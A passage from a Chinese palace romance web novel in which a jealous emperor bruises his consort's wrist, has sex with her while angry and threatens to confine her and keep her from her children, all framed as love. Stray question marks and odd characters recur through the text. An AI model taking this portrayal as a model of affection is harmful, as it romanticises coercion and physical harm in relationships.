是她又无意说错话了吗? 分明三日前还好好的,这位缠着她到了后半夜, 精力用不完一样。 她思绪迷茫,想不通缘由。 手腕上?的力道?很重,疼得明裳眉心蹙紧, 但她不敢表露出来,皇上?知道?她这样害怕,会更加生气。服侍这位是耗心力的事情,很多次她无意惹恼这位,可?从未有一次像这回一样怒她。 明裳暗示自己不要慌乱, 但不可?能不怕的。 “皇上?, 臣妾……” 那腕间攥着的手掌越来越紧, 她终于忍不住,眼圈一红,疼得哭了出来, 湿答答的泪水滚过雪白的面?颊, 依偎在李怀修怀里?,好似一只柔弱无力的小兔子。这女子一直如此,像菟丝花一样依赖着他。 李怀修抿唇,察觉到自己的失控,放开了手, 靠坐到车厢里?侧,他心情算不上?好, 她入宫后懂得避嫌,从未与柳絮白来往,他本不打算跟她翻这本旧账。然见?到这女子,他就会忍不住想起?她在柳家住过的那段日子。 教她课业,给她买胭脂水粉,绫罗衣裙,少男少女,日久生情,不必多去猜测,显而易见?。怪不得她喜欢看那些才子佳人的酸腐本子。 这女子可?有像对他一样对外男撒娇? 李怀修烦躁地推了两下扳指,脸色阴沉如水。 车马起?行,车厢外马蹄踏地,车轮粼粼的声?响似近似远。 明裳小心翼翼揉捏着手腕,柔嫩的肌肤硬生生出了两道?青紫的掐痕,这位只有在夜中克制不住时才会这样伤她,她咬唇思索自己在行宫的一言一行,齐王出事那几日,她命宫人无事不得踏出绾阁一步,如此懂事,她实在想不出自己做了什么,让皇上?这样震怒。 除非…… 她眼睫徐徐颤抖。 除非皇上?查出了她和柳絮白的旧事。 其实那些都?算不得什么,她与柳絮白发乎情止乎礼,清清白白,从未逾矩过。 但是她不得不心虚,那时,她初入上?京,纯真懵懂,见?到柳絮白那样的男子,怎会不心生爱慕喜欢。当?时她确实倾心过柳家的大?表哥,想做他名?正言顺的妻子。可?是三年过去,从决定进宫的那一刻,她就彻底断了对柳絮白的念头,现在又有了孩子,更不可?能再像三年前不知世事的闺阁小姐一样,忘了分寸。 她虽不至于真心慕悦这位,但她清楚自己的身?份,她打上?了大?魏皇帝后宫嫔妃的烙印,又诞下皇嗣,终是一辈子都?无法摆脱。 马车还有一段时辰进城,明裳压下心头的惊跳,小心翼翼地抬起?眸子,又去扯龙袍的衣袖,那双湿漉漉的眼珠就这样看向男人。见?这位没有反应,也没有拒绝,才低下身?段,靠去李怀修的胸怀中。 怀中人的身?子很软,雪白的脖颈覆着两缕柔顺的青丝,那张脸蛋白净俏丽,贴着他,无枝可?依,只乖顺地依赖于他一人。 她红着鼻尖儿,闷声?道?:“臣妾不喜欢皇上?方才那样对臣妾。” 李怀修睇去怀中那张脸,又听她软声?:“臣妾喜欢皇上?事事护着臣妾,纵容臣妾的小脾气,疼爱臣妾为?皇上?生的孩子……” 她仰起?粉面?,敛着水光的眸中映出李怀修的影子,生出湿意,无措惊惶,“皇上?是天下之主,不喜欢臣妾了,臣妾就会落得和冷宫的嫔妃一般下场,皇上?那样生气,臣妾会害怕。” “皇上?不要再那样待臣妾了好不好?” 李怀修双唇微抿,沉默着,忽然手臂用力,将怀中的女子提到肩膀,紧紧扣入怀中,不容她有分毫挣扎,低头,不由分说含住了那双唇珠。 入口很软。 他薄唇翕动,享受这女子的甜腻的逢迎,指腹时重地捻着那张脸,又去抚她的脖颈,单手向下揉捏把玩只属于他的两处。 明裳几乎不能呼吸了,手臂攀附着男人的后颈,她晕晕乎乎被摆弄着,像是任由狩猎者搓磨的猎物。 柔顺,可?怜,怯弱地攥于猎人的股掌。 耳边是銮驾外杂乱的马蹄声?,私语声?,车轮声?,不绝入耳。明裳害怕被人听见?,抖着身?子,惊惶不安,却又不知所措。 她忽然在想,这位这样宠着她,甚至容忍她曾与外男有过旧情,倒底喜欢她什么呢? 宫里?不缺貌美温顺的女子,她家世不高,甚至算不上聪明。唯一的优点大?底是知晓皇上?的底线,从不蓄意去害后宫的皇嗣。可仅仅这样,就能让这位宠爱至此吗? …… 行到日中,皇城沉重的南门徐徐打开,恭迎圣驾回宫。 齐王一党伏诛,前朝有一摊子事等李怀修处理,他脚步匆匆进了乾坤宫,诏令前朝几个大?臣进宫议事。 明裳回到内殿后,坐到妆镜前,才发现原本丰盈的唇珠肿了一圈,艳红迷离,配上?那双媚如春水的眸子,勾人得紧。 她低眼,揉了揉发着青紫的手腕,愁眉苦脸地叹息一声?,那位的态度阴晴不定,从没这样欺负过她,又不和她挑开了明说,她实在不知该如何把人哄好。 在永和宫梳洗后,明裳没再想那些乱七八糟的事,赶去了寿康宫看绥儿安儿。离开一个月,不知这两个小家伙可?有想她,可?还能认出她这个母妃。 寿康宫,赵月儿迎明裳进殿,见?她急切,轻笑?道?:“太后娘娘在佛堂礼佛,交代?娘娘不必过去拜见?。皇子公主刚醒了,正玩闹着,一月里?都?好好的,永安公主也没哭过呢,娘娘不必心急。” 明裳感激地看她一眼,“有劳月儿姑娘。” 乳母喂过皇子公主,两个小团子醒了,睁着圆溜溜的眼珠,明裳进到殿里?,就看到小家伙们正在床榻上?鼓足了力气翻身?。安儿一如既往地活泼好动,不知是觉得哪里?有趣,咯咯地清脆笑?出声?。 伺候的宫人们见?到宓妃娘娘,福过身?子,乳母上?前禀这一月皇子公主的情况,明裳边听着,边抱了抱儿子女儿,她去碰安儿时,生怕安儿认生,忘了她这个母亲。 安儿被明裳抱到怀里?,眼珠好奇,似是察觉到了娘亲熟悉的味道?,小手握成拳,试探地往明裳怀里?拱了拱,稍许,放松了警惕,咿咿呀呀去揪明裳衣襟的扣子,玩得不亦乐乎。 胆子倒是大?了很多。 明裳温柔地亲了亲女儿的脸蛋,没闹就好。两个孩子一哭,可?才是让她头疼。 她带着绥儿安儿回了永和宫,太后在始终没有出来见?她,赵月儿面?色如常送走明裳,才走回佛堂里?。 “太后娘娘,宓妃娘娘带皇子公主回去了。” 太后手中捻着佛珠,照顾两个皇孙一月,倒底生出了些感情,太后也有些不舍的,她虽不喜宓妃,但宓妃生的这个孩子确实极为?讨喜。 她在宫中,就听说了徐氏女有孕没过多久犯下大?错,降位受罚,继而小产,皇帝是个冷情的性子,那徐氏女如今在冷宫里?,着实可?怜。 太后停了念珠,扶着赵月儿的手起?身?,“明日让皇后到哀家这来一趟。” 赵月儿扶着太后慢慢走下台阶,“太后有要事,月儿现在就去坤宁宫传话。” “不急。” 明年春选,还有几个月准备着,太后在想宫里?添怎样的女子,才能让皇帝在宓妃身?上?的心神往旁人身?上?放放。 再者,太后不禁忧心,先帝不曾处理了齐王,皇帝却私下早有准备,皇帝这样重的心思,玩弄权势的手段,她也怕牵连自己的母族,皇帝是她的儿子,可?她也想保住自己的母家,二?者平衡才是安稳的。 …… 翌日赵月儿去了坤宁宫请皇后,圣驾回宫,六宫原是要去寿康宫和坤宁宫向六宫主位问安,太后精神不济,勉了这些虚礼。皇后见?是赵月儿亲自过来,猜想姑母要见?她是所为?何事。 到了寿康宫,皇后明白了太后的意思,这后宫里?是该添些新鲜的面?孔。 皇后回去后,依照太后的话,吩咐宫人取来上?京世家的名?册,一一择选后整理出来,待下回去寿康宫后交给姑母挑选。太后翻了翻皇后择出的人,出身?确实不错,在前朝也算得上?得力,就是不知相貌如何。 太后点点头,“送去御前给皇上?看看。” 她这个母后先做了主,总要过问儿子的意思。 …… 选秀的名?册很快由宫人送去了乾坤宫,从圣驾回宫,整整不过三日。 乾坤宫伺候的宫人在殿外候着,全福海边念名?册上?的世家贵女,边抹额头上?出来的冷汗。 他明显看出,皇上?心情不好,可?也没让他停。 其实从东山行宫回来,皇上?脸色就没好看过,朝堂上?大?臣各执一词,各站一派,吵得喷出吐沫星子,放在以前,皇上?顶多皱皱眉,从不理会。这几日但凡有人敢把皇上?吵得头疼,都?被拎去了外面?吹风,再有甚至直接被皇上?撤了官职,难得满朝胆战心惊,禀事都?不敢大?声?。 全福海念了半个时辰,念到最后一人,嗓子差点冒烟。 “皇上?,就是这些了。” 李怀修靠着龙椅,凉凉掀眸,深邃沉冷的眼神吓得全福海头皮发麻。 他推着扳指,沉沉一笑?,“朕在东山伏诛齐王一党,刚回宫几日,母后就这么着急,是怕朕一时兴起?,把皇室宗亲杀光了,再去处置她萧家么?” 全福海哪敢回应这句,慌慌张张地跪下身?子,“皇上?息怒!” 其实即便?没有太后娘娘提起?,到了明年开春,也该是新一轮的选秀了。历代?皆是如此,先帝之时,满足不了三年一选秀,甚至隔上?小半年就要采选一回,搜罗各地貌美女子,不分年纪,不论是否婚嫁,皆要纳入宫中。先时大?臣奉劝先帝爷洁身?自好,清心寡欲,不可?贪恋女色,到皇上?这儿则是反过来了。 即便?皇上?不急,待再过一段日子,前朝也会有心急的大?臣奏疏婉言劝谏。 李怀修没再理会选秀的事,这时正好有敬事房的小太监过来请他点寝,回宫后忙着收拾一堆烂摊子,还没得空去后宫。 放在前头的是皇后的描金凤帖,往后是镶银嵌玉的宓贤二?妃,李怀修扫一眼,指骨轻敲着御案,想起?回宫那日马车里?情晕潮动的情形,眯了眯眸子。 “这几日永和宫可?来过人?” 全福海愣了下,忙回话,“昨儿宓妃娘娘过来送过一回羹汤,只不过……” 只不过皇上?分明歇着,却也没见?宓妃娘娘,头一回出现这样的事儿。 他斟酌回话,“只不过皇上?累了,宓妃娘娘叮嘱奴才提醒皇上?用膳,注意歇息,就回去了。” 李怀修神思慢慢回忆起?来,那时候确实心绪不畅,那女子跟个兔子似的,怕失言说出什么吓到她,自己回头想想再是后悔,届时又来不及收回说出去的话。 当?真让他头疼。 李怀修起?了身?,拂袖让敬事房的小太监下去,抬步往殿外走,“传令摆驾永和宫。” …… 圣驾到永和宫,明裳已经带着宫人出殿迎驾了,她面?容如常,柔白的手解了李怀修的披风交给宫人,乖乖顺顺,“臣妾昨日去乾坤宫,全公公说皇上?忙着,皇上?忙于朝政,也要注意身?子。” 难得见?她这么懂事,李怀修轻啧一声?,掀起?衣摆坐到窄榻里?,见?那道?身?影走来走去,又是添茶又是奉糕,伸手把人捞到怀里?,宫人低头自觉地退出内殿。 李怀修掐一把明裳的脸蛋,不咸不淡道?:“别忙活了,朕是来看看绥儿安儿,又不缺你这点茶水果子。” 他沉着眼,见?明裳闷闷的不说话,一手探去她衣裙腰间的带子,呼出的热气喷薄到明裳耳蜗,面?上?仍是随意,一本正经,“孩子呢?朕看完就回去了。” 第102章 第 102 章 明裳羞得脸闷热, 她?埋在李怀修胸口,大?腿被一只宽厚有?力的手掌抬了起来,跨坐到腰间, 她?两只柔荑下意识去推拒男人的胸膛, 却软弱无力,不时轻抖两下, 颇有?些欲拒还迎的意味。 “皇上不是要看?孩子吗?” 她?红着脸,咬唇反问。 李怀修低笑一声,声线闷沉, “朕先和孩子他娘做这种事,不是理所当然么?”边说,手掌扣紧了女子的腰身,另一只手拨开自己?腰带的暗扣,将金线绣着龙纹的大?袴一把扯了。 冰裂纹花窗外云雾浮动?, 宫人无声无息地?候在廊下等着主?子传唤叫水, 偏殿襁褓中两个娃娃吃饱了奶水, 睡得正酣,丝毫没有?醒来的迹象。 明裳那双眸子如沁了勾人的春水,绵软的手臂摇摇欲坠, 被放到案上, 继而又跪去屏风处,膝盖磨得发疼,牙雕的琉璃浮动?着她?雪白玲珑的影子。 不知多久,她?伏在男人胸膛里,喘息微微, 眼尾红红,“皇上是不是还在生臣妾的气?” 李怀修扣住女子两条手臂免得她?乱动?, 他眯了眯眼,眸底冷淡清醒,“你这样懂事,朕生什么气?” 他将那副身子调转到自己?面前,动?作又快又重,不想她?这时候提那件事扫兴。 明裳漂亮的脚趾蜷缩到一处,两条细白的腿抖了两下,迷迷糊糊地?判断出这位已是很生气了,她?咬紧唇,在喘息的空当一鼓作气,脱口而出,“臣妾入宫前确实早已柳大?人相识。” 话落,殿内一瞬的死寂,她?感受到男人手掌钳制自己?手腕的力道那样得紧,她?睫毛轻颤了颤,想去看?清这位的脸色,男人却猛地?甩开她?的手,上身压着的重量骤然离开。 李怀修下颌绷紧,面如寒冰地?坐起身,额头的青筋隐隐跳动?,他没再看?床榻里的女子一眼,沉默地?去穿鞋履,对外面唤道:“来人,更衣!” 宫人们在外候了半个时辰,月上中天,伺候的宫人昏昏欲睡之际,倏地?惊醒。全福海也?吓了一跳,皇上这道传讯怎么和以往不一样呢?宫人请示要不要进去,全福海犹豫一会儿,悄摸摸拂了拂手,自己?去里头听听动?静。 内殿里,“皇上……”明裳屏住呼吸,小心翼翼地?自后环住李怀修的腰身,柔弱可?怜的模样,祈求他心软,“皇上别走,是臣妾错了。” 李怀修脊背僵硬,他扯着唇线,侧身用力把女子拉入怀中,他眯着眼,钳住那张精致姣好,仿若人豢养的金丝雀一般漂亮柔弱的脸蛋,给她?最后的机会,“错了。”他反问,“错哪了?” 那层薄薄的面皮儿被他捏得很疼,明裳这才知道,这位生气时很喜欢在她?身上留下些印子,“臣妾……臣妾不该欺瞒皇上。” 她?想,皇上从不挑明过问,可?是心里一定会去计较,譬如昨日闭门不见她?,譬如方才弄得她?那样疼,她?应该说清楚,不然这位一定会一直疑神疑鬼。 李怀修双目如墨,沉沉地?盯入明裳眼中,“欺瞒朕什么?” 该如何去说呢? 明裳轻轻垂下小脸,却又被男人强迫抬起来,从未这般阴沉地?逼问她?,“怎么,又不敢让朕知道?” “怕朕会杀了你,还是杀了他?” 李怀修自诩喜怒不形于色,足有?君王威严,从未想过有?一日会被一女子气至如此。他倒是动?过杀了这女子的念头,但他最不愿意承认,最想遮掩的便?是他舍不得这个只会花言巧语,贪慕他的权势地?位,贪慕荣华富贵的女子。他厌恶这种感觉,却又贪恋她?在自己?怀里撒娇卖乖,贪恋与她?缠绵时的快意。 他恨不得把人关?进自己?的寝宫里,日日拴在这龙榻之上。 明裳被吓得脖颈一抖,她?眼眶里的泪水滚下来烫到李怀修手背,刚才眼泪被逼得掉了半个时辰,此时一双眸子又红又肿,她?哽咽道:“柳大?人是皇上心腹重臣,臣妾一小小女子无足轻重,皇上不如杀了臣妾,免得日后与自己?的心腹心生龃龉。” 泪珠如线似的噼里啪啦地?坠,李怀修被气得脸都紫了,气到头上,他居然笑出来,讥讽她?,“倒是个好法子,朕现在就拟旨下令,免得朕整日被你气得头疼。” 狠话说归说,李怀修仍八风不动?地?坐在床榻边,也?没把怀里哭着的明裳扔出去。 明裳衣裳算不得齐整,如绸的乌发披散在雪白的肩头,衬得那张楚楚可怜的小脸还没巴掌大?。 她?咽下泪水,试探地亲了亲男人如纸薄的双唇。手臂攀附住李怀修的肩膀,伏在他颈边,软乎乎的委屈,“臣妾是皇上的人,皇上想要臣妾做什么,臣妾都不会有半分怨言。” 李怀修黑沉的眼扫过她?湿润的眸子,颤颤发抖的柔荑,这样一个生的貌美,又柔弱无力的女子,父母再多的疼爱,没有?好的家世倚仗,结局也?会落入世家权贵之手,与现在的结果确实没什么两样。 他移开眼,轻推了两下拇指的扳指,怒火降了些许。 三四年前,年少无知的错事,她?入宫后又懂得避嫌,他确实没有翻旧账的必要。 李怀修慢慢说服自己?。 他脸色缓了缓,听女子在耳边软软诺诺,小心翼翼地?继续,“皇上想听臣妾年少无知的旧事,臣妾现在就说给皇上听。” “不过那些事都已经过去了,臣妾那时只想一心找到人倚仗,也?不是真心喜欢。现在臣妾已经找到了比柳大?人更有?权势,更加厉害,可?靠,也?更疼惜臣妾的人,臣妾是蠢钝了,才会去再想以前那些糊涂事。” 臣妾那时只想一心找到人倚仗,也?不是真心喜欢。现在臣妾已经找到了比柳大?人更有?权势,更加厉害,可?靠,也?更疼惜臣妾的人…… 李怀修脑海中回响着这两句话,他挑眉瞥了眼那张的脸蛋,这人惆怅地?垂着眸子,似是难以启齿,在纠结怎么与他说那些事。 他抿抿唇,小没良心的,柳絮白为了救她?连命都不要了,做到这份儿上,她?倒好,只想着怎么借世家的权势做倚仗。 李怀修居然有?些同情起自己?的那位心腹。 他也?不是真的想听这女子年少无知和外男的情情爱爱,听一回他怕自己?忍不住再跟她?发火。 李怀修淡下脸色,下颌触到一抹柔软,那股火气,已经消散干净,他低了眼帘,指骨勾起那张惹人怜爱的小脸轻晃了两下,方才索然的兴致被再次挑了出来。 屏风外,全福海正等着皇上传唤,好半会儿没听到动?静,他鬼鬼祟祟地?犹豫要不要走,听见里头窸窸窣窣,一声接一声,粗重的呼吸声。全福海赶忙往出避,想来是宓妃娘娘惹皇上生气又把人哄好了,这种事见怪不怪,他没放在心上,料想是要再过一个时辰才能叫水。 结束时已是一个时辰后,明裳泣泪涟涟,疲倦不堪,她?由着男人扣住腰身的摆弄,没半分?动?弹的力气。 李怀修叼了下那两瓣红润的唇,冷脸威胁,“日后朕要知道你私下与他见面,朕就把你绑到朕的寝宫里,日日关?着,也?别想见你生的孩子。” 本是要昏睡过去的明裳颤了一下,她?瘪唇,委屈嗒嗒地?应过话,“臣妾不敢的。” 她?湿着眸子,靠入男人温热的怀里,“皇上是不是还在介意着。” 她?似是一只小猫,终于开始有?所不满,“皇上有?六宫嫔妃,臣妾都不曾生气,臣妾不过是年少无知做过的事,皇上反倒这样震怒臣妾,好不公平。” 李怀修拧眉,指腹摩挲着女子滑腻的腰臀,他想起了太后命人拿给他明年春选的名册,但,他现在的确没这个心思。 李怀修地?垂下眼,没回应她?的话,掌心有?一搭没一搭地?轻抚女子因晴事过去,稍有?鼓胀的小腹,想到什么,似是漫不经心地?提起,“不如再给朕生一个皇儿,朕便?不会计较你与那人的旧日情分?。” …… 翌日天明,明裳清醒时,那位早已 更衣戴冠前去上早朝了,她?揉了揉额头,身下的酸月长提醒她?昨夜发生了什么,昨晚事后两人都没有?沐浴,她?忽然想起半梦半醒中隐约听到皇上与她?说的一些话,再生一个孩子?她?摸摸小腹,红唇咬紧,掩在乌发下的耳根也?羞得生了绯色。 下了早朝,全福海迫不得已去请示皇上选秀之事该如何回复太后娘娘。昨晚皇上把这事儿搁置下,但皇上才刚上朝,寿康宫那边就有?人过来问了,全福海硬着头皮,被太后和皇上夹在中间,哪头都得罪不起。 李怀修冷冷淡淡地?扫他一眼,“去回太后,选秀一事朕另有?打算。” 另有?打算? 这话太后娘娘定然是不满意的,但不满意也?没有?法子,谁叫坐在这位子上的是皇上。 全福海领了话,前去寿康宫通禀,太后娘娘对皇上敷衍了事的态度显然有?气,也?没给他好脸色看?。全福海脸上都要笑僵了,才得太后娘娘放人离开。 待御前的人走了,太后问下面的宫人,昨晚皇上宿在哪个宫里,伺候的小太监立即回皇上是在永和宫,召幸了宓妃娘娘。 太后对宓妃的不满又多了一层,她?回宫这段时日,皇帝进后宫十回有?九回都在宓妃宫里。宓妃聪慧,却是太过于貌美惑人,纵使性?子再过和善,与世无争,身为一个嫔妃,也?不该占据皇帝太多心神。 赵月儿见太后神情不悦,扶着太后坐回窄榻里,从中说和,“宓妃娘娘诞下皇子公主?,皇上忙于前朝多日未进后宫,想来也?是挂念二皇子和小公主?了。” 话虽如此,可?怎不见皇帝去看?看?后宫别的皇嗣。 太后思来想去,还是摇了摇头,罢了罢了,选秀一事也?不能操之过急。 第103章 第 103 章 这日明裳到钟粹宫中, 才无意从张贵嫔口中得知柳絮白出任江淮刺史,调出了?京城。她鲜少关注前朝中事?,柳絮白居然在赶在年关被皇上调任出京, 想到个中缘由, 她抿唇对大表哥生出些愧疚之感。 张贵嫔本是想提及明年的选秀,不想宓妃却发起呆, 她疑惑地唤了?两声,明裳将将回?过神,捡起桂花糕吃下一口, 似是幽怨道?:“后宫总要有新人,哪是你我能够管的。” 闻言,张贵嫔抿了?口茶水,轻摇了?摇头,笑得意味深长, “我却觉得不是。” 如今已?是年关, 皇上当真有意去选, 何以?拖到现在。 殿外有太?医匆匆过去,水琳从外头进?来?,忧心道?:“娘娘, 三皇子身子又是不好了?。” 明裳也听说了?钟粹宫时常去传太?医, 三皇子生下来?的弱症太?医也束手无策,她拧眉,“陆美人去御前禀过皇上吗?” 她说完,自己也哑了?声,三皇子三天两头的生病, 自己都听说了?,皇上怎会不清楚。 张贵嫔抿唇, “皇上政务繁忙,总不能日日守着三皇子。” 乾坤宫 入冬后,三皇子病得是愈发严重,时常咳嗽高热,殿里?堆满了?炭盆,又生上地龙也不顶用。 全福海趁着大臣们离开的功夫,通禀了?三皇子的病况,三皇子还那么小,就体?弱多病,全靠汤药吊着气,前日皇上去看襁褓里?的三皇子,他瞧了?一眼?,瘦得跟猫儿似的,完全不如胖乎乎的大皇子和二皇子康健,皇上也心疼这个儿子,命太?医院用最好的药材养着,又着南昭王再?去寻那游医,只是到现在仍无音讯,怕三皇子要撑不过这个冬天了?。 全福海觑着皇上疲乏的脸色,默默叹息一声。 李怀修问他南昭王可有音信回?京,全福海回?话尚未。 …… 也是出了?奇了?,三皇子的病时好时坏,前段时日愁得阖宫心焦,这几日渐有活泼,咿咿呀呀地鼓着小嘴,全福海抹了?把额头的冷汗,可算能回?去给皇上复命。 …… 转眼?到年宴前夕,李怀修让人把御前的公文送到永和宫,看完折子,夜幕已?深,李怀修敲了?敲桌案,问宓妃呢?全福海寻人去问,到近前回?话道?:“宓妃娘娘说皇上看折子到深夜甚是辛苦,去了?膳房下灶,做补身子的汤水。” 李怀修原本翻看奏疏的动作?微微一顿,听那女子居然亲自下灶,忍不住挑眉笑了?下,遂拂袖起身,“朕过去看看。” 永和宫有特?赐的膳房,就在宫所的西院,明裳原本是亲自做一碗汤献献殷勤,谁知当真下了?灶台方有些后悔,且不说那木柴弄得她新裁的海棠流仙裙沾染了?污渍,烟火气抹花了?小脸的妆容,就是这洗菜打糕的活计实在令她手足无措,忙来?忙去,闹得娇喘微微,甚为狼狈,迫不得已?,明裳又把赶出去的宫人唤回?来?,自己方坐去了?圆墩歇息。 李怀修到的时候,就见美名?其曰为他做羹汤的女子悠哉悠哉地倚着靠背,由膳房的厨子忙忙碌碌。他捻了?捻扳指,漫不经?心睇去全福海一眼?。全福海也惊呆了?,哪知道?宓妃娘娘的亲自是这么个亲自的法子。 他正要进?去通传,李怀修抬手没让他过去,须臾,又见里?头的女子起了?身,亲自到灶上掌勺,热气熏得那张如玉赛雪的小脸满面?映红,放了?一应食材,炖煮了?会儿,舀入碗中。 李怀修已?经?回?内殿去了?。 月上中天,明裳做的这一碗莲叶羹整整耗了?一个多时辰。她见时候着实不早了?,更夜过后,直接端去内殿。 她献宝似的捧到男人面?前,李怀修此时尚不饥饿,想到方才她在膳房里?忙得热火朝天的情形,调着汤勺颇给面?子地饮了?一口,面?色陡然僵住,也不知是哪里?出了?岔子,这汤里?的荷叶并无醇香淡雅,反而苦涩干硬,味同嚼蜡。 李怀修从不会为难自己,但?见她亮着眸子等自己夸赞,终把这难以?下咽的汤水强忍着呕意又喝了?一口,勉强道?:“味道?尚可。” 他就不该对她做的东西抱什么期待。 这位吃山珍海味也是这副态度,明裳分辨不出自己做汤水究竟是什么味道?,她正要自己亲自去尝一口,男人忽然抬手吩咐宫人把荷叶羹端出去,伸手勾人入怀,手掌自然地摩挲她的腰背,“孩子睡了?么?” 明裳知晓什么意思,脸红了?红,垂着眸子默默点了点头。耳边似乎听见皇上不徐不疾地闷笑声,随即那只手自然地向下,在那臀上轻拍了?一掌,“伺候朕更衣。” 她脸红得更厉害了。 这位怎么总喜欢这样戏弄她。 …… 翌日就到了?年宴,圣驾一整晚都在永和宫。天光尚暗,李怀修起身,捏了?捏眉心,唤宫人盥洗伺候,白日接见附属国纳贡的使臣,前去正天门接受朝拜,后午设宴,要忙上整整一日。 殿外宫人来?来?往往闹出动静,明裳也清醒了?,她清楚这位年宴这日要有多忙,披好衣裳,接了?宫人递来?的金累丝镶祖母绿龙纹带,环过男人的腰,熟练地拨下暗扣系好。 年宴这日的冕服极为繁琐,李怀修张开双臂,低眼?见这女子在他身前忙忙碌碌的模样,不由自主地牵了?牵唇线,把人揽进怀里抱了一会儿。宫人十分自觉,默不作?声地垂下脑袋,明裳小声提醒,皇上过会儿还要见外邦时辰呢。 又过一会儿,李怀修才放开她,拂袖坐到窄榻里?,戴上十二旒冕大冠,这时乳母抱着啼哭的安儿进?来?,明裳忙忙抱过去哄,李怀修见绥儿也抱进?来?了?,挥退乳母,亲自抱起儿子。 绥儿看着身着冠冕龙袍,威仪不凡的父皇眨了?眨眼?珠,伸出胖乎乎的小手去抓父皇大冠上的旒冕,极为讨喜。李怀修也任由儿子去抓,待全福海在屏风外提醒时辰到了?,才把小绥儿放去床榻里?,又过去看了?看女儿,对明裳道?:“朕今夜来?永和宫。” 明裳惊讶地抬起头,想问今日年宴,皇上不该是去皇后宫中,遂又想到孱弱的三皇子,没扫皇上的兴致,恭送了?圣驾出殿。 …… 年宴一向没什么新意,宴饮过后,入了?夜,明裳拆掉鬓发间琳琅满目的珠翠钗环,想到那位说入夜过来?,先去偏殿把两个孩子哄睡了?。 她尤记得前段日子圣驾过来?那桩事?,安儿先哭了?会儿,绥儿也跟着哭,乳母哄得手忙脚乱,彼时李怀修正惦记着再?生一个小公主,就听到外面?吵得鸡犬不宁,两人只得穿好衣裳抱过孩子,终是哄得不闹了?,两个孩子则离不得她一会儿,一晚都在主殿里?睡着。李怀修极为不满,想了?想,还是不生的好。 她不由想笑。 待女儿睡下,她轻手轻脚地退出内殿,见御前的宫人到永和宫传话,说是三皇子那边身子又不大好,传了?太?医,圣驾去钟粹宫了?,六宫不必过去探视。 明裳眼?眸微暗,道?是知道?了?,让那宫人回?御前伺候。 至夜中圣驾想必是歇在钟粹宫,明裳着了?衾衣睡去,月香见娘娘黯然失落的神情,轻叹了?口气,落下帷幔。不止娘娘,就连她也习惯了?皇上时常到永和宫,可这宫里?总不是只有娘娘一位主子。 娘娘早歇下了?,守岁的宫人们靠着炭盆,搓了?搓手,剪红纸窗花打发闷子。 深夜,宫人们倚肩靠背,撑不住困意,稀稀拉拉地回?耳房睡下。 一盏一盏的宫灯熄灭,轮到辛小五守门,他迷迷瞪瞪地倚着宫门,打着瞌睡时,听门吱呀一声,猛地惊醒,却见圣驾不知何时到了?眼?前,吓得扑通跪下身子,嘴巴叫全福海一把捂住,“闭嘴!” 辛小五呜呜地点头,全福海这才放手。 三皇子那头折腾到大半夜终于没事?,皇上就来?了?永和宫。陆美人有心委婉地留下皇上,被皇上不咸不淡地掠去一眼?,明白皇上的意思,再?不敢说一句。陆美人聪慧就该知道?只要安安分分抚养好了?三皇子,就能得到旁人奢求不到的位分,不该借三皇子做其他妄想。 全福海以?为皇上要歇去寝宫,不想是到了?宓妃娘娘这儿。 他为皇上宽了?龙袍,带着宫人退下身。 明裳是第二日一早才发现皇上和自己同榻,疑心是自己睡糊涂了?,要坐起身,又被他带回?怀里?,李怀修拧着眉,不耐地让她别吵,明裳意识到,皇上昨夜确实是在永和宫。 今日前朝不必上朝,后宫也不必问安,她安安心心地继续去睡。 男人睡饱后,明裳在梦中又被迫云雨一番。 …… 年宴过后,太?后派去乾坤宫询问选秀的人又被皇上借口推回?了?寿康宫。 眼?见年关后就要开春,如今这后宫里?哪还有多少嫔妃,三皇孙又自小孱弱,皇后身边也没有皇子,先帝时后宫仅是皇子就有十余之众,太?后不禁为儿子的子嗣操心。 借着皇帝到她这儿问安的日子,太?后提点两句,“年宴那日,哀家看陈令家的二姑娘是极守规矩的,相貌也很是周正。” 李怀修似没听出太?后话里?的意思,无所谓地勾唇,“母后喜欢,朕便下旨封她个郡主,传召入宫,留在母后身边伺候。” 太?后是真的被皇帝这不上心的态度气得脸色难看,忍不住拍案,眼?白他,“哀家身边有月儿,缺这么一个伺候的人?” 殿内静着,李怀修把玩拇指的玉扳指,抿唇不语,赵月儿有眼?色地领着宫人退出内殿,太?后平下心火,开门见山,“你如今膝下只有三子,嘉儿又孱弱多病,后宫嫔妃不多,也该为皇室考虑,纳些新人,绵延后嗣。” 良久,李怀修换了?个姿势,徐徐掀眼?,“儿子实话说给母后,儿子不打算再?行春选。” 第104章 第 104 章 儿子不?打算再行春选—— 听到这句话, 太后抚在凭几?的手心陡然发紧,两眼一黑,险些被气昏过去。 “你说什么?” “你再跟哀家说一遍。” “什么叫不?打算再行春选了!” 李怀修任由太后训斥, 面不?改色道:“正如?母后所想, 儿子后宫子嗣足矣,没有再添新人的必要。” “荒唐!”太后手抚胸口, 怒气冲冲,“后宫不?过三个皇子,如?何就?足矣?李氏先祖哪一代不?是依着规矩, 三年一选?选秀事关前朝,岂能儿戏!” 宫灯晃出的光照过男人衣袍金线钩织出的龙纹,上好的绛纱缂丝,金尊玉贵。 李怀修双目微敛,平静地开口, “朕并未儿戏。” “母后所言, 一曰先祖宫规, 二曰皇室后嗣。宫规由人而?定,朕是大魏之君,江山之主?, 只作罢选秀一事, 有何不?可?更何况前朝风波平定,也无需充盈六宫做以制衡。至于皇室后嗣……” 李怀修轻轻一笑?,薄唇讥讽,“先帝生子十九,母后更是清楚朕是经怎样一番兄弟嫌隙, 手足相残,才?得来?的这皇位。” “朕只是不?想朕生的儿子走朕曾经走过的路。” 太后心头一震, 猛然抬眼,都说天家薄情,可谁又不?想过安稳的日子,望着面前沉稳从容,仿若没有任何事情能够将他?击垮的年轻君王,太后忽然后悔,自?己曾经那样渴求这个位子,逼迫儿子太多,也亏欠了太多。 她疲累地闭了闭眼,“哀家知道了。” …… 选秀搁置一事很快传遍了六宫,明裳得知后,神?色诧异茫然,原本她是介意这后宫里要多上新鲜的面孔,但转而?想到此事非自?己能够决定,就?释然了。结果没过多久,得知皇上居然下旨不?再新选,她心事重重地哄着两个孩子,在想其中的原因。 如?今这后宫里的嫔妃实在算不?上多,皇上为何忽然会下这样的旨意。 夜中圣驾到永和宫,明裳正哄着小绥儿叫母妃。绥儿说话说得要比安儿清楚,只是那妃字仍吐不?清晰,明裳就?哄他?叫娘亲,绥儿很乖,一板一眼地学,安儿也过来?凑热闹,跟着哥哥学,没学会叫母妃,娘亲,先是学会了吃字,见什么都要抓过来?吃,逗得阖宫日日笑?声不?断。 